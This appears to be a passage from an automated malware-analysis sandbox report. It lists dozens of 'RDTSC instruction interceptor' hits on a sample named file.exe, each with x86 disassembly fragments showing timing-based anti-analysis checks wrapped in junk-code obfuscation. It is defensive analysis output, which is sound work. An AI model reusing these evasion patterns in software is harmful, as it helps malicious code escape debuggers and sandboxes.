Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E27AB0 second address: E27AB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E27CE8 second address: E27D01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FBA3CEC1180h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E27DC5 second address: E27DD8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jl 00007FBA3CEC18A0h 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E281FF second address: E28203 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E28203 second address: E28244 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC18A8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FBA3CEC18A5h 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FBA3CEC189Ah 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E28244 second address: E2824E instructions: 0x00000000 rdtsc 0x00000002 jno 00007FBA3CEC1176h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2830C second address: E28312 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2845A second address: E2845E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2845E second address: E2846C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007FBA3CEC1896h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2866F second address: E28673 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E287C6 second address: E287CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E287CA second address: E287D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2968F second address: E296AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBA3CEC18A8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2A80E second address: E2A89E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push ecx 0x00000008 jnp 00007FBA3CEC1189h 0x0000000e jmp 00007FBA3CEC1183h 0x00000013 pop ecx 0x00000014 nop 0x00000015 push 00000000h 0x00000017 push eax 0x00000018 call 00007FBA3CEC1178h 0x0000001d pop eax 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 add dword ptr [esp+04h], 0000001Ah 0x0000002a inc eax 0x0000002b push eax 0x0000002c ret 0x0000002d pop eax 0x0000002e ret 0x0000002f jmp 00007FBA3CEC1184h 0x00000034 mov dword ptr [ebp+122D1F19h], ebx 0x0000003a push 00000000h 0x0000003c push 00000000h 0x0000003e push ecx 0x0000003f call 00007FBA3CEC1178h 0x00000044 pop ecx 0x00000045 mov dword ptr [esp+04h], ecx 0x00000049 add dword ptr [esp+04h], 00000018h 0x00000051 inc ecx 0x00000052 push ecx 0x00000053 ret 0x00000054 pop ecx 0x00000055 ret 0x00000056 push 00000000h 0x00000058 push esi 0x00000059 mov esi, dword ptr [ebp+122D2C8Bh] 0x0000005f pop esi 0x00000060 push eax 0x00000061 push edi 0x00000062 push ebx 0x00000063 push eax 0x00000064 push edx 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2C2C5 second address: E2C2D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2C2D0 second address: E2C2D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2C2D6 second address: E2C2DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2C2DA second address: E2C2E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jc 00007FBA3CEC1176h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2C88F second address: E2C893 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2C893 second address: E2C8C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 pushad 0x00000009 jnc 00007FBA3CEC117Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FBA3CEC1188h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2C8C2 second address: E2C8C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2C8C6 second address: E2C94B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ecx 0x0000000b call 00007FBA3CEC1178h 0x00000010 pop ecx 0x00000011 mov dword ptr [esp+04h], ecx 0x00000015 add dword ptr [esp+04h], 0000001Dh 0x0000001d inc ecx 0x0000001e push ecx 0x0000001f ret 0x00000020 pop ecx 0x00000021 ret 0x00000022 mov si, ax 0x00000025 jmp 00007FBA3CEC117Ah 0x0000002a push 00000000h 0x0000002c mov esi, dword ptr [ebp+122D2ECFh] 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push esi 0x00000037 call 00007FBA3CEC1178h 0x0000003c pop esi 0x0000003d mov dword ptr [esp+04h], esi 0x00000041 add dword ptr [esp+04h], 0000001Bh 0x00000049 inc esi 0x0000004a push esi 0x0000004b ret 0x0000004c pop esi 0x0000004d ret 0x0000004e pushad 0x0000004f stc 0x00000050 add dx, 9100h 0x00000055 popad 0x00000056 xchg eax, ebx 0x00000057 pushad 0x00000058 jmp 00007FBA3CEC1180h 0x0000005d push eax 0x0000005e push edx 0x0000005f push edi 0x00000060 pop edi 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2C94B second address: E2C961 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC189Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2C961 second address: E2C965 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2C965 second address: E2C97D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC18A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2F41A second address: E2F439 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC1184h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edi 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E31351 second address: E31368 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBA3CEC18A3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E31368 second address: E3136C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2E645 second address: E2E672 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jng 00007FBA3CEC1896h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jl 00007FBA3CEC18AEh 0x00000015 jmp 00007FBA3CEC18A8h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2F141 second address: E2F14B instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FBA3CEC1176h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2E672 second address: E2E684 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBA3CEC189Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E335ED second address: E335FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2E684 second address: E2E688 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E335FA second address: E33682 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push edx 0x0000000a call 00007FBA3CEC1178h 0x0000000f pop edx 0x00000010 mov dword ptr [esp+04h], edx 0x00000014 add dword ptr [esp+04h], 00000016h 0x0000001c inc edx 0x0000001d push edx 0x0000001e ret 0x0000001f pop edx 0x00000020 ret 0x00000021 push 00000000h 0x00000023 ja 00007FBA3CEC118Fh 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push esi 0x0000002e call 00007FBA3CEC1178h 0x00000033 pop esi 0x00000034 mov dword ptr [esp+04h], esi 0x00000038 add dword ptr [esp+04h], 00000015h 0x00000040 inc esi 0x00000041 push esi 0x00000042 ret 0x00000043 pop esi 0x00000044 ret 0x00000045 sub ebx, dword ptr [ebp+122D1D28h] 0x0000004b push eax 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f push edx 0x00000050 jmp 00007FBA3CEC1188h 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E33682 second address: E33686 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E33686 second address: E3368C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3655A second address: E36564 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FBA3CEC1896h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3957D second address: E39587 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FBA3CEC1176h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E39587 second address: E39623 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC18A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov ebx, 455FA59Bh 0x00000011 push dword ptr fs:[00000000h] 0x00000018 je 00007FBA3CEC18A0h 0x0000001e jno 00007FBA3CEC189Ah 0x00000024 mov dword ptr fs:[00000000h], esp 0x0000002b push 00000000h 0x0000002d push eax 0x0000002e call 00007FBA3CEC1898h 0x00000033 pop eax 0x00000034 mov dword ptr [esp+04h], eax 0x00000038 add dword ptr [esp+04h], 0000001Ah 0x00000040 inc eax 0x00000041 push eax 0x00000042 ret 0x00000043 pop eax 0x00000044 ret 0x00000045 call 00007FBA3CEC189Eh 0x0000004a clc 0x0000004b pop edi 0x0000004c mov eax, dword ptr [ebp+122D1319h] 0x00000052 mov dword ptr [ebp+122D2F9Dh], edi 0x00000058 push FFFFFFFFh 0x0000005a call 00007FBA3CEC189Ch 0x0000005f mov edi, edx 0x00000061 pop edi 0x00000062 nop 0x00000063 jo 00007FBA3CEC189Eh 0x00000069 push ebx 0x0000006a push eax 0x0000006b push edx 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E39623 second address: E3963B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FBA3CEC1180h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3B612 second address: E3B618 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3B618 second address: E3B67E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FBA3CEC117Ch 0x0000000f pop edx 0x00000010 nop 0x00000011 mov dword ptr [ebp+122D2102h], ecx 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push edx 0x0000001e call 00007FBA3CEC1178h 0x00000023 pop edx 0x00000024 mov dword ptr [esp+04h], edx 0x00000028 add dword ptr [esp+04h], 00000019h 0x00000030 inc edx 0x00000031 push edx 0x00000032 ret 0x00000033 pop edx 0x00000034 ret 0x00000035 pushad 0x00000036 mov di, 87ECh 0x0000003a mov dx, bx 0x0000003d popad 0x0000003e xchg eax, esi 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007FBA3CEC1187h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3A6FC second address: E3A700 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3A7C9 second address: E3A7CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3D569 second address: E3D582 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBA3CEC18A0h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3D582 second address: E3D586 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3D586 second address: E3D5A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FBA3CEC18A4h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3D5A5 second address: E3D617 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC1189h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a nop 0x0000000b mov dword ptr [ebp+122D37F5h], esi 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push ebx 0x00000016 call 00007FBA3CEC1178h 0x0000001b pop ebx 0x0000001c mov dword ptr [esp+04h], ebx 0x00000020 add dword ptr [esp+04h], 0000001Bh 0x00000028 inc ebx 0x00000029 push ebx 0x0000002a ret 0x0000002b pop ebx 0x0000002c ret 0x0000002d push 00000000h 0x0000002f je 00007FBA3CEC1176h 0x00000035 push eax 0x00000036 pushad 0x00000037 jmp 00007FBA3CEC1186h 0x0000003c push eax 0x0000003d push edx 0x0000003e jnc 00007FBA3CEC1176h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3D617 second address: E3D61B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3E6DD second address: E3E6E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3E6E1 second address: E3E6E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3E6E6 second address: E3E735 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 jmp 00007FBA3CEC1189h 0x0000000d push 00000000h 0x0000000f mov edi, dword ptr [ebp+122D36BAh] 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push edi 0x0000001a call 00007FBA3CEC1178h 0x0000001f pop edi 0x00000020 mov dword ptr [esp+04h], edi 0x00000024 add dword ptr [esp+04h], 00000014h 0x0000002c inc edi 0x0000002d push edi 0x0000002e ret 0x0000002f pop edi 0x00000030 ret 0x00000031 xchg eax, esi 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 pushad 0x00000036 popad 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3E735 second address: E3E73A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3C7AA second address: E3C7B9 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FBA3CEC1176h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3E938 second address: E3E93E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3D882 second address: E3D888 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E405C2 second address: E405ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a add dword ptr [ebp+122D385Dh], edx 0x00000010 push 00000000h 0x00000012 stc 0x00000013 push 00000000h 0x00000015 xchg eax, esi 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FBA3CEC18A3h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3C7B9 second address: E3C7DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FBA3CEC1188h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3B7AE second address: E3B7C0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jo 00007FBA3CEC189Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E405ED second address: E405F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3C7DA second address: E3C7E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3B7C0 second address: E3B7C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E405F3 second address: E405F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3C7E0 second address: E3C7E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3B7C4 second address: E3B7DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBA3CEC18A3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3B7DB second address: E3B7DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3B7DF second address: E3B828 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 movzx ebx, bx 0x0000000c push dword ptr fs:[00000000h] 0x00000013 sbb di, 361Ch 0x00000018 mov dword ptr fs:[00000000h], esp 0x0000001f pushad 0x00000020 mov ax, si 0x00000023 add dword ptr [ebp+122D3C6Ch], edx 0x00000029 popad 0x0000002a mov eax, dword ptr [ebp+122D0901h] 0x00000030 and edi, 1F34C0D6h 0x00000036 push FFFFFFFFh 0x00000038 mov bl, 73h 0x0000003a nop 0x0000003b push eax 0x0000003c push edx 0x0000003d jnc 00007FBA3CEC189Ch 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3B828 second address: E3B865 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC1184h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007FBA3CEC117Eh 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FBA3CEC1183h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4155A second address: E4155E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4155E second address: E41564 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E41780 second address: E41786 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E428B0 second address: E428B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E44912 second address: E44924 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC189Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF0FBE second address: DF0FDF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC1189h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4A8CC second address: E4A8D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4A8D1 second address: E4A90C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FBA3CEC1182h 0x0000000a pop eax 0x0000000b jne 00007FBA3CEC1183h 0x00000011 jmp 00007FBA3CEC117Dh 0x00000016 pop edx 0x00000017 pop eax 0x00000018 ja 00007FBA3CEC1198h 0x0000001e jo 00007FBA3CEC117Ch 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4A90C second address: E4A916 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4A916 second address: E4A91A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4AA8D second address: E4AA95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4AA95 second address: E4AA9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4AC6B second address: E4AC71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E50D39 second address: E50D89 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC117Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push esi 0x0000000e push esi 0x0000000f jl 00007FBA3CEC1176h 0x00000015 pop esi 0x00000016 pop esi 0x00000017 mov eax, dword ptr [eax] 0x00000019 jmp 00007FBA3CEC1182h 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 push ecx 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FBA3CEC1187h 0x0000002a rdtsc
